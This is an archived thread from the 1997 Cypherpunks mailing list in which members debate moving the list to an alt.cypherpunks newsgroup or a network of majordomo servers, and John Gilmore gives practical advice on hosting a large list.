>start a network of majordomos hosting a Cypherpunks mailing list.
>[...] Our intention is to have a set of majordomos which
>are intersubscribed to a cypherpunks list on each one, with measures
>taken to ensure that mail loops don't develop.

I still think you're just rediscovering Usenet technology. Instead of
installing Majordomo, why not install INN, pass traffic as newsgroup(s) (if
you don't like alt.cypherpunks, you could simply start your own top-level
cpunks group(s)), and leave your NNTP port(s) open (or read-only, if you're
an evil CIA brain-stealing censor) so that cpunks at large could connect with
newsreaders or their own servers and send/rcv newsgroup traffic? Many cpunks
could do this (instead of using Majordomo) locally, connecting to each other
to achieve wide propagation and low latency.

And, if you must, run mail-to-news gateway(s) which send the newsgroup to
people who want it as E-mail.

Usenet technology does exactly what you're describing: it's a distributed
database of messages designed to facilitate each server getting its own copy
of every message, and holding it locally for distribution to interested
readers. Other people have been kind enough to write, debug, and document the
software - all you have to do is install it. This could be running tonight. 

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMwDefP37pMWUJFlhAQGg8wf/R/XcPI7UTmiktI0ce0cR0x54O2pTr2ju
WRZ3OXNV7X8xOmU8zhvj/Q6Rg0etZRmDfj9wM51mCZuOx6uh94IlFvBTpFnEz8Vg
tM3zeWSt/SukyGfxRLkrRYF4GMU5eKEYBYI7p/3q6WioYBk4JI22EeAyr5Cn+1IA
icMJhCpfUE6P1YoC+7zPh+Kbp8Ny3tCtry/axsSZfVRsBZr2M33VONe47quC1l5A
CBEEllkeSZey6VfAhrBxLOGiD42evx/TYU1yeR2bhcHUcQ0e5MTR8o8eDBoreuXF
ntT9vD0Ov0BEhP2j5r6xC6WcFX0iEynxwErC3nNURPE5CPCoRXws/w==
=w4Av
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 11 Feb 1997 11:30:34 -0800 (PST)
To: tcmay@got.net (Timothy C. May)
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <v03007800af264c8cba96@[207.167.93.63]>
Message-ID: <199702111920.NAA18063@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


If the people decide for creation of a new USENET newsgroup,
we need to think very hard about actually moving it to a different
hierarchy from alt.*. I would propose comp.org.cypherpunks,
comp.cypherpunks, sci.crypt.cypherpunks or something like that.

A comp.* or sci.* newsgroup, if created, has the following advantages
over an alt.* newsgroup:

1) There is usually less spam in sci.* or comp.*
2) There are virtually no completely irrelevant flamewars
3) The propagation will be a lot better
4) More people will be able to read it because of the issue of providers
   not carrying alt.*.

I see nothing that would make a sci.* or comp.* newsgroup  worse than
alt.* newsgroup.

igor

Timothy C. May wrote:
> 
> 
> (Please leave my name in any replies to ensure I see your comments.)
> 
> I talked to Hugh Daniel at the Saturday meeting about the creation of an
> "alt.cypherpunks" unmoderated (of course) newsgroup as a possible
> alternative (or supplement) to cypherpunks@toad.com. Greg Broiles and John
> Gilmore were there for part of the discussion, too.
> 
> (We did not, unfortunately, get to the "future of the list" topic at the
> physical meeting...the excellent presentations ran way over the expected
> time and we never got to this topic. Sort of too bad, given John's edict
> that we have 10 days to find and implement an alternative....)
> 
> A Usenet newsgroup has many advantages and disadvantages. Whether it might
> be gatewayed to other mailing lists--perhaps even the list(s) which
> survives "cypherpunks@toad.com"--depends of course on the decision of those
> hosting others lists.
> 
> A charter statement is needed, and then the issuance of a creation message.
> A better charter statement will increase the chances of more sites carrying
> the newsgroup. While many sites carry essentially all newsgroups--more than
> 30,000--, some sites do not and only carry some of the alt.heirarchy. And
> some sites do not carry _any_ of the alt newsgroups.
> 
> At Hugh's suggestion, I'm suggesting a "first cut" at a charter statement.
> Suggestions for additional language or changes are welcome.
> 
> Charter for alt.cypherpunks: (suggested)
> 
> "Alt.cypherpunks is for the unmoderated discussion of cryptography and the
> political, social, and economic implications of unrestricted, strong
> cryptography. The Cypherpunks grpup has existed since 1992 and has been
> central in the debate about strong crypto, government restrictions, crypto
> anarchy, and in showing weaknesses of various ciphers and security
> products. The mailing list has had as many as 1500 subscribers, plus
> gateways to newsgroups and Web sites. It is expected that "alt.cypherpunks"
> will be a free-wheeling forum for many viewpoints. As it is unmoderated,
> readers are strongly advised to learn how to use filters and other tools
> for making virtual anarchies manageable for their own tastes."
> 
> I invite your comments, editorial suggestions, etc. Perhaps when enough of
> the "collective mind" has made inputs (ughh!), the charter can be submitted
> with the creation message. (I'm not knowledgeable about the process, but
> I'll bet many of you are.)
> 
> There are of course disadvantages to such a newsgroup, as any Usenet user
> certainly knows. However, there are advantages as well. Here are some of
> each:
> 
> 
> * Advantages:
> 
> - Usenet is set up to automagically propagate articles across tens of
> thousands of sites.
> 
> - there is no "nexus" of control, no chokepoint, no precedent (in the U.S.)
> for halting distribution of Usenet newsgroups. (Canada stopped some
> Homulka-Teale newsgroups a few years ago, other countries have blocked
> entire sections, but note that the Scientologists have been unable to block
> "alt.religion.scientology"...I surmise that a mailing list version of
> a.r.s. would have faced lawsuits against the list.owner, if reachable in
> U.S. or European courts...a lesson to think about with the current
> imbroglio over certain claims about certain products and the possible
> liability of Sandy and/or toad.com.)
> 
> - fairly sophisticated newsreading software already exists.
> 
> - no "unsuscribe" and "unscrive" messages! (It makes it easy for newcomers
> to discover the group, read it for a while, then stop. It also, of course,
> increases the number of "What is crypto?" sorts of messages.)
> 
> - persons cannot be unsubscribed from an unmoderated list
> 
> - with a Usenet group, there is no ability to impose notions of "order" on
> the list (e.g., requirements for PGP-signing, demands for "on-topic" posts,
> removal of "illegal" posts, etc.). Thus, people must deal with a virtual
> anarchy by using proper tools, by ignoring what they don't want to see, or
> by contracting out the role of "nanny" to others.
> 
> 
> * Disadvantages
> 
> - Usenet newsgroups are easy targets for spammers, even more so than are
> mailing lists.
> 
> - crossposting often gets out of hand. (With 30,000+ newsgroups, even
> well-intentioned posters often pick the "three or four most likely" targets
> for their posts).
> 
> - propagation is often spotty, and some sites have no access at all to the
> "alt.*" hierarchy. (Many corporate sites block the alt heirarchy. Many
> academic sites block just the alt.binaries.pictures heirarchy. Etc. A news
> to mailing list gateway is possible for these readers.)
> 
> - propagation may be slower than mailing lists.
> 
> - Usenet is of course archived and easily searchable via Alta Vista, Deja
> News, etc.. This bothers some people. (However, the CP mailing list is now
> also archived and searchable, so the disadvantage is becoming moot.)
> 
> - persons cannot be unsubscribed from an unmoderated list (this is also an
> advantage, of course)
> 
> - there will be more newbie-type messages, as casual browsers of Usenet
> discover alt.cypherpunks and ask questions. This is both a disadvantage and
> an advantage.
> 
> 
> * Discussion of some of these points:
> 
> 1. The issue of slow- or non-propagation can be handled by having mailing
> lists which bounce the traffic (from a well-connected site) to folks who
> get slow distribution, or no distribution at all. News to mail gateways, in
> other words. Traffic in the reverse direction (end reader back to
> alt.cypherpunks) can be handled either by "blind posting" to the a.c.
> newsgroup, via one's newsreader, or through mail-to-news gateways, or
> perhaps via the distributor described here.
> 
> 2. And the services of "moderators," such as Eric Blossom's and Ray
> Arachelian's "best of" lists, or even Sandy's list, are of course still
> possible. A newsgroup does not change this, except for the latency in
> getting messages out to newsgroup sites.
> 
> 3. The advantages of a "no nexus, no chokepoint" distribution are huge. The
> Usenet carries huge advantages in terms of having no place to attack it.
> 
> 4. Some have raised the point that Usenet is "inefficient" and should not
> be used for this reason. Well, it may indeed be ineficient, but the costs
> have already been incurred, and alt.cypherpunks would only be 1/30,000th of
> additional load (very roughly speaking). In other words, might as well use
> what's out there. If a "second Usenet" ever comes into existence, fine.
> 
> 5. Some of us discussed the creation of alt.cypherpunks back in '92-93. At
> that time, we thought the mailing list had some major advantages. In my
> view, the situation has changed dramatically since then. The mailing list
> has become huge, the volume of noise has increased, majordomo is allowing
> the list to be used for spamming (any 'bot system will probably have this),
> and the list is already gatewayed to many sites as a _newsgroup_ anyway.
> 
> So, I think the time has come to just create it. The "activation energy
> barrier" of a mailing list, where people would have to make the effort to
> subscribe, has long since become irrelevant.
> 
> It may be a target for spammers, but it's hard to imagine it being much
> worse than what we have now.
> 
> Usenet is an anarchy. We might as well use it.
> 
> I've never created an alt group, but I presume many of you have (and I know
> of one currently fed up Cypherpunk who created the entire alt.* hierarchy a
> decade or so ago). I presume some of you can thus help in such an effort.
> 
> --Tim May
> 
> 
> 
> 
> 
> 
> Just say "No" to "Big Brother Inside"
> We got computers, we're tapping phone lines, I know that that ain't allowed.
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 11 Feb 1997 11:31:45 -0800 (PST)
To: stend@sten.tivoli.com (Firebeard)
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <vpbu9r9tqj.fsf@grendel.tivoli.com>
Message-ID: <199702111921.NAA18078@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


i have already set up majordomo@algebra.com and cypherpunks@algebra.com 
and can join.

igor

Firebeard wrote:
> 
> >>>>> John Gilmore writes:
> 
> JG> Sandy has agreed to continue moderation through the end of the
> JG> original 1-month experiment (through Feb 19).  And it's a good
> JG> thing, too, because the "cypherpunks community" had better get off
> JG> its whining butt in the next ten days, or it will no longer exist.
> 
> [...]
> 
> JG> This is a "put up or shut up" to the cypherpunks community.
> 
> 	This appears to be as good a time as any to announce that I'm
> "putting up".  I've already taken steps, along with Jim Choate, to
> start a network of majordomos hosting a Cypherpunks mailing list.  I
> didn't intend to announce this until Jim and I had gotten the first
> pair of 'domos working properly, but this means that we'll need to
> speed things up.  Our intention is to have a set of majordomos which
> are intersubscribed to a cypherpunks list on each one, with measures
> taken to ensure that mail loops don't develop.  As the resulting
> mailing list from each 'domo will be identical, periodically
> (initially weekly), the subscriber lists of all of the participating
> majordomos will be compared, with any duplicate subscribers being
> removed from the 'domo(s) with the longest subscriber list.  There
> will be no filtering done of any mail to the collective list, although
> anyone interested in providing a filtered list will be welcome to
> subscribe to the list.  Anyone interested in joining the 'domo network
> with the conditions described (duplicate subscriber checking and no
> filtering) is welcome.
> 
> 	John, I'd appreciate your permission to use your Cypherpunks
> welcome message as the basis for the welcome message of this new list.
> Also, while we will make every effort to have this new list available
> for subscriptions by Feb 20, I'd appreciate it if you could consider
> making the current list available for a short period longer if we
> encounter unanticipated difficulties.
> 
> -- 
> #include <disclaimer.h>                               /* Sten Drescher */
> ObCDABait:      For she doted upon their paramours, whose flesh is as the
> flesh of asses, and whose issue is like the issue of horses.  [Eze 23:20]
> ObFelony: President Clinton, you suck, and those boys died!
> Unsolicited bulk email will be stored and handled for a US$500/KB fee.
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 11 Feb 1997 11:33:08 -0800 (PST)
To: alan@ctrl-alt-del.com (Alan Olsen)
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <3.0.1.32.19970211083054.02e60618@mail.teleport.com>
Message-ID: <199702111923.NAA18120@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


linux with 16 MB ram will probably get you through.

igor

Alan Olsen wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 05:50 AM 2/11/97 -0800, Sandy Sandfort wrote:
> >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> >                          SANDY SANDFORT
> > . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> >
> >C'punks,
> >
> >You have probably just read John's post.  I truly hope YOU (each
> >and every one of you) can rise to his challenge.  If you have 
> >offered nothing in the past but criticism, it's now time to get a
> >bit more real.  What will it be, your money, time, equipment?
> 
> What kind of memory requirements/machine load does the list eat up?  I have a
> machine that may fit this purpose...  (Need to know if I need to upgrade the
> box though.)
> 
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 4.5
> 
> iQEVAwUBMwCeq+QCP3v30CeZAQGpwAf+MXRvC4wB6LeJkwsQa7yWI1g2TEYFJZ6O
> 1wD1S1QeRu1GMGRfUC3/9OTsQFijQLrOVb3MIXiy7bYxzcZsShd2cgKf4cL3HhjV
> T/PH1M2uUEpOJEHLF4jCKvspySgCuLfHK+7V0+fNRO0MFQZZeCNvEd2Awog8Ue0q
> OIi/jwBvzNITeBQzGu8zrBuS3VHWjMmi66kio1GV6xFL+JLwQWMsi6hT8hSiZ/TT
> fOhvAfECT/hGFFDdu3/R0JYkw1B9IO7Uh0NNgH1pl7HoJiBWfU/HTDoRsruKkweX
> 7eDVPxB0MR10Q5XCeoH1EA3Lwd3HdNFVEsUJc+myjN58vnZ5Vo+TGQ==
> =CWO1
> -----END PGP SIGNATURE-----
> 
> ---
> |            "Mi Tio es infermo, pero la carretera es verde!"            |
> |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
> | mankind free in one-key-steganography-privacy!"  | Ignore the man      |
> |`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
> |         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Only Guy <onlyguy@dev.null>
Date: Tue, 11 Feb 1997 11:54:03 -0800 (PST)
To: anand abhyankar <anand@querisoft.com>
Subject: I'm Sandy / Re: sandy who??
In-Reply-To: <199702111656.IAA22307@toad.com>
Message-ID: <3300E981.280D@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


anand abhyankar wrote:
> i am a new addition on the mailing list. i am amazed to find that half
> the mails talk about "sandy (god knows who he is) and he censoring
> mails" rather than crypto stuff.
> 
> somebody please let me know who sandy is and what exactly is this
> censoring issue.

anand,
  I am Sandy.
  I am also John Gilmore.
  I am Dr. Vulis, Greg Broiles, Dr. Vulis, Sean Roach, and Attila T. Hun.

  I started the cypherpunks list a few years ago, and nobody joined, so
after a while, I began subscribing myself as other people and carrying
on dialogues with myself, hoping to spark some interest in the list.
  Still, nobody subscribed, so I redoubled my efforts, and after a while,
things got a little out of hand. Before I knew it, I had over 1,500
personalities integrated within the list, which was now consuming my
whole life.

  Recently, after years of therapy, my many personas began struggling
with each other for domination of my own communal mind.
  My therapist finally had me to the point where I was ready to be fully
cured. I was ready to take the big step, and kill the list, restoring
my sanity and reverting, once again, to a single personality.

  But now I am in a quandry. After all these years, I finally have a
real subscriber to the list.
  So I have come to a decision. Since you are the only real subscriber
to the list (besides my own 1,500 personas), I have decided that I will
let you decide the future of the list.
  I await your decision.

Sincerely,
  The Only Guy





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pdh@best.com (Peter Hendrickson)
Date: Tue, 11 Feb 1997 14:08:53 -0800 (PST)
To: Greg Broiles <stend@sten.tivoli.com>
Subject: Re: Network of majordomos
Message-ID: <v02140b00af269c3f8839@[206.184.194.14]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:09 PM 2/11/1997, Greg Broiles wrote:
>At 10:45 AM 2/11/97 -0600, Firebeard wrote:
>> [...] I've already taken steps, along with Jim Choate, to
>> start a network of majordomos hosting a Cypherpunks mailing list.
>> [...] Our intention is to have a set of majordomos which
>> are intersubscribed to a cypherpunks list on each one, with measures
>> taken to ensure that mail loops don't develop.

> I still think you're just rediscovering Usenet technology....

> And, if you must, run mail-to-news gateway(s) which send the newsgroup to
> people who want it as E-mail.

> Usenet technology does exactly what you're describing:...

How about this?  The people who like Usenet should race ahead and set
it up.  The people who like networks of majordomos should race ahead
and set those up.  Just so long as the tracks meet somewhere in Utah.

The more people are involved with distributing the "list" the more
robust it will be.

Peter Hendrickson
pdh@best.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick May <pjm@spe.com>
Date: Tue, 11 Feb 1997 14:24:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702111340.FAA18603@toad.com>
Message-ID: <199702112210.OAA01556@gulch.spe.com>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore writes:
[ . . . ]
 > Either you list denizens will, among yourselves, put in the energy to
 > build a new home for the list (and run it in whatever way your
 > volunteers want) by Feb 20, or the list will cease to exist on Feb 20.
[ . . . ]

Denizens,

     I can provide a pentium box running Linux with a T1 connection to
MAE-West to host the list, if there is still interest.  The domain
name would be hidden.net (reserved in anticipation of running a
remailer).  I'd use majordomo.

     Before doing this, I'd need the answers to a few questions:

     - Is there still any interest in a cypherpunks mailing list?

     - Is alt.cypherpunks a better alternative?

     - Should posting to the list be limited to subscribers?
       Naturally, one could subscribe from a nym.alias.net account.

     - Majordomo can be configured to require confirmation of
       subscription requests, thus avoiding some attacks.  Is there
       any simple way to protect against mailloops?  Directly
       accessing the listname-outgoing alias?

     - Is a pentium up to the task of running a list of this size and
       volume?

     Let me know what you think.

Regards,

Patrick May




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Bostick <abostick@netcom.com>
Date: Tue, 11 Feb 1997 14:42:25 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <199702111721.JAA22739@toad.com>
Message-ID: <Pine.3.89.9702111425.A20441-0100000@netcom3>
MIME-Version: 1.0
Content-Type: text/plain


The ways of the alt.* hierarchy are such that it would be best if at
least some of this discussion were made in alt.config .

Virtually anyone can issue a newgroup message.  The trick is to issue
one that newsadmins will honor.  That purpose will be well served by
proposing and discussing the group in alt.config .  Issues that sway
newsadmins there include:

The perception of need:  The high volume of cypherpunks traffic plus
the impending loss of its home on toad.com should be sufficient.

"Proper" naming.  Unless one is anticipating a growth of
alt.cypherpunks.* newsgroups in the future (alt.cypherpunks.flames?
alt.cypherpunks.sources? etc.)  new alt.* newsgroups are better
received if they don't have top-level names.  Using existing top-level
hierarchies is better (e.g. alt.security.cypherpunks or 
alt.privacy.cypherpunks).  It is best to have a name likely to be
considered well-formed already in mind when one makes the initial 
proposal, because bickering about naming can distract from the actual
merits of the proposal.

Tim's proposed charter is a fine start, and probably needs little
or no modification.

I say it's a fine idea. Who bells the cat?

Alan Bostick               | My conclusion is that this is most likely an 
                           | exceptionally well executed fake. It remains the
mailto:abostick@netcom.com | most authentic alien image that I have ever seen.
news:alt.grelb             |      Whitley Strieber
http://www.alumni.caltech.edu/~abostick





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Tue, 11 Feb 1997 15:10:25 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <Pine.3.89.9702111425.A20441-0100000@netcom3>
Message-ID: <9702111503.ZM29725@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


On Feb 11,  2:42pm, Alan Bostick wrote:
> new alt.* newsgroups are better
> received if they don't have top-level names.  Using existing top-level
> hierarchies is better (e.g. alt.security.cypherpunks or
> alt.privacy.cypherpunks).

I agree that alt.privacy.cypherpunks is the best bet, if alt.group
is the route we go.

--
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 11 Feb 1997 15:09:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702112309.PAA28849@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


What about totally uncentralized.  Instead of using a system like
majordomo.com, each person maintain a list of "subscribers", I would be
willing to at least attempt to be one lightening rod for "subscriptions".
Since I am using the schools machine to read the list, and I don't have any
extra priveledge, I would have to do it manually and might quickly stop, but
I would be willing to try.
In this way, everyone is moderately censored by the processor time expended
in mailing a message CC:'d to everyone, but no one could effectively do any
type of blocking of the list.
Those acting in the place of majordomo could regularly trade lists for
alphabetization, (so that the lists should be identical), and file comparing.
This list could then be sent to anyone who wanted to be a "subscriber" so
that they could post as well.
A more effective way would be to have the distributed list as previously
discussed, or even maintain one account or web-page to hold the names, but I
can't help with that.
Just an idea.

One small problem, with such a list, advertisers may feel less obligated to
follow standard rules of ettiquite.  They may feel that the list is even
more "open season" than they as a group feel now.

I hope that everyone will post to this thread as I would like to be able to
"fall in" with the majority decision.  To do that, there needs to BE a
majority decision.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 11 Feb 1997 15:10:22 -0800 (PST)
To: Patrick May <pjm@spe.com>, gnu
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702112210.OAA01556@gulch.spe.com>
Message-ID: <199702112310.PAA28883@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>      - Is a pentium up to the task of running a list of this size and
>        volume?

A pentium is definitely up to this task.  I've been running it the
whole time on a slower 40MB SPARCstation-2 (that also runs netnews and
general computing).  Give it a big /var/spool partition (mine is 60MB)
because every message will sit in the queue for days (*somebody* on
the list will have an unreachable name server or MX server until the
msg times out).  Give it lots of RAM and paging space, since each
sendmail process takes about 2MB virtual, 1.4MB physical, and you will
have dozens running at the same time.

The new version of majordomo (that allows confirmation of
subscriptions) will help a lot.  It needs a small patch though, to do
exponential backoff on the lock file, or when you get a flood of
messages, thirty majordomo processes will burn up the whole machine
trying and failing to get the lock file.

You'll need a BIG mailbox for the bounce messages, and someone (or
some unwritten software) to scan it every day or two and delete the
lusers whose mailboxes are full or who dumped their account without
unsubscribing.  The bounce mailbox on toad gets between 1 and 4MB of
email a day; more when the list is under attack.

You'll want to run the latest version of BIND on the machine, too,
since doing DNS name-lookups on a thousand email addresses is expensive.
You want them all in the in-memory cache on the same machine.  The
name daemon burns about 7MB virtual, 5MB real RAM once its cache
gets loaded.

Make sure that every message sent to the list gets into at least
two logfiles -- on separate partitions, in case one fills up.  At
least if you want to have an archive of what's been sent.

>      I can provide a pentium box running Linux with a T1 connection to
> MAE-West to host the list, if there is still interest.

Make sure you are getting "transit" service to the Internet, instead
of trying to cheap out with "peering" to a few major networks.
Without transit service ("we'll carry your packets to anywhere even if
the destination is not on our network") you won't be able to route
packets to some places on the net.  This will cause mail to those
subscribers to sit in the queue for days and then bounce.

The real issue is how willing you are to put your own time into
dealing with problems.  Not only do things go wrong by themselves, but
there are malicious assholes in the world who will deliberately make
trouble for you just because they like to.  Spending a day or two
cleaning up the mess is just part of the job.  Check your level of
committment two or three times before taking on the task -- so you
won't end up getting disgusted after a month or two and putting the
list's existence into crisis again.  It's not a "set it up and forget
it" kind of operation.

	John




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 11 Feb 1997 15:59:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702112359.PAA29858@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:45 AM 2/11/97 -0600, Firebeard wrote:
>>>>>> John Gilmore writes:
>
>JG> Sandy has agreed to continue moderation through the end of the
>JG> original 1-month experiment (through Feb 19).  And it's a good
>JG> thing, too, because the "cypherpunks community" had better get off
>JG> its whining butt in the next ten days, or it will no longer exist.
>
>[...]
>
>JG> This is a "put up or shut up" to the cypherpunks community.
>
>	This appears to be as good a time as any to announce that I'm
>"putting up".  I've already taken steps, along with Jim Choate, to
>start a network of majordomos hosting a Cypherpunks mailing list.  I
>didn't intend to announce this until Jim and I had gotten the first
>pair of 'domos working properly, but this means that we'll need to
>speed things up.  Our intention is to have a set of majordomos which
>are intersubscribed to a cypherpunks list on each one, with measures
>taken to ensure that mail loops don't develop.  As the resulting
>mailing list from each 'domo will be identical, periodically
>(initially weekly), the subscriber lists of all of the participating
>majordomos will be compared, with any duplicate subscribers being
>removed from the 'domo(s) with the longest subscriber list....
You might want to set up a temporary majordomo on the same machine as one of
the permanent daemons for debugging purposes.  It is conceivable to me that
a message might be sent to one sub-list, be forewarded to two lists, and
then each of those foreward the same message to each other, causing duplication.
You might get around this if the daemons keep track of each others, unique,
message ID numbers.
In other words, if each unit were to apend the message ID with a personal ID
number when the message came from someone other than a majordomo, then they
could collate them by number, eliminate duplications, and send them on down
the line.
To do this, the majordomo daemons will probably have to have a guaranteed
seat in the front of the cue.
This is probably a stupid point to bring up as you have probably already
cured this problem, but I decided to post it anyway.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 11 Feb 1997 16:27:24 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <3.0.32.19970211162359.006d17e8@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 09:15 AM 2/11/97 -0800, Timothy C. May wrote:
>- propagation is often spotty, and some sites have no access at all to the
>"alt.*" hierarchy. (Many corporate sites block the alt heirarchy. Many
>academic sites block just the alt.binaries.pictures heirarchy. Etc. A news
>to mailing list gateway is possible for these readers.)

Everybody with a web browser has access to alt newsgroups via
http://www.dejanews.com/





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 11 Feb 1997 16:27:25 -0800 (PST)
To: John Young <cypherpunks@toad.com
Subject: Re: STE_pup
Message-ID: <3.0.32.19970211162704.006cebec@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 11:39 AM 2/11/97 -0500, John Young wrote:
>  Oracle's new fingerprint checking device to assure bona fide
>  log-on privileges. Covers other such devices, quotes a maker:
>  "if criminals or hackers get through these, industry will
>  step up one more level."

Fingerprint readers tend to work regardless if the finger is attached to a
body or not. All that fingerprint readers will do is increase the damage to
those relying on ever increasing, but misguided, methods of authentication.
See the rise in "identity theft" since SSN's began to be used for
identification.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 11 Feb 1997 16:31:34 -0800 (PST)
To: pdh@best.com (Peter Hendrickson)
Subject: Re: Network of majordomos
Message-ID: <3.0.32.19970211162813.006de930@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:08 PM 2/11/97 -0800, Peter Hendrickson wrote:
>At 1:09 PM 2/11/1997, Greg Broiles wrote:
>>At 10:45 AM 2/11/97 -0600, Firebeard wrote:
>>> [...] I've already taken steps, along with Jim Choate, to
>>> start a network of majordomos hosting a Cypherpunks mailing list.
>>> [...] Our intention is to have a set of majordomos which
>>> are intersubscribed to a cypherpunks list on each one, with measures
>>> taken to ensure that mail loops don't develop.
>
>> I still think you're just rediscovering Usenet technology....
>
>> And, if you must, run mail-to-news gateway(s) which send the newsgroup to
>> people who want it as E-mail.
>
>> Usenet technology does exactly what you're describing:...
>
>How about this?  The people who like Usenet should race ahead and set
>it up.  The people who like networks of majordomos should race ahead
>and set those up.  Just so long as the tracks meet somewhere in Utah.

As I understand the creation process for an alt. group, someone posts a
proposal to alt.config explaining what's being proposed, waits a week or so
to see if there's a general sense of approval or disapproval or [...] and
then they send a newgroup control message. Individual systems will choose
to add the new group, or not, depending on local policy, administrator
whim, and so forth.

I sent a proposal to alt.config last night (a few hours before I got John's
message indicating that the list is going away, so I wasn't able to include
that fact in my message; it was also ~ 10 hours before I saw Tim's message
re alt.cypherpunks so I was unable to include his more useful statement of
the group's purpose) and intend to newgroup alt.cypherpunks in a week or
so, absent a clear indication from the people in alt.config that it would
be rmgroup'ed or otherwise have a poor chance of success. I don't think a
"charter" is especially necessary or useful in the alt. hierarchy.

One feature of the "alt." groups is that there's no real control over what
happens there. If someone creates a one-way or two-way gateway between one
or more mailing lists and alt.cypherpunks, there's nothing anyone else can
do about it. (modulo cancelbunny/NoCeM, both of which are optionally
honored on a site-by-site basis)

So, the tracks will meet in Utah if someone decides to hook them up.
Perhaps this will be you?

As far as I'm concerned, nobody owns the word "cypherpunks" and we're all
free to use it in any way we please - e.g., Igor can suggest
"comp.org.cypherpunks", eight people can run "cypherpunks@foo.com" mailing
lists, and so forth. Looking for one unified acceptable-to-everyone
solution is pointless on this list. Let "n" flowers bloom.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Evil se7en <se7en@dis.org>
Date: Tue, 11 Feb 1997 16:39:11 -0800 (PST)
To: DC-Stuff List <dc-stuff@dis.org>
Subject: Germany Versus Scientology
Message-ID: <Pine.BSI.3.91.970211162658.4364B-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain



I have posted a rather lengthy story about Germany's war against the 
Scientologists. It was long enough to preclude mailing it directly to the 
lists, so I have put it on my web site. You may find it at:

	http://www.dis.org/se7en/

with the link being directly under the large "X." I decided to post it 
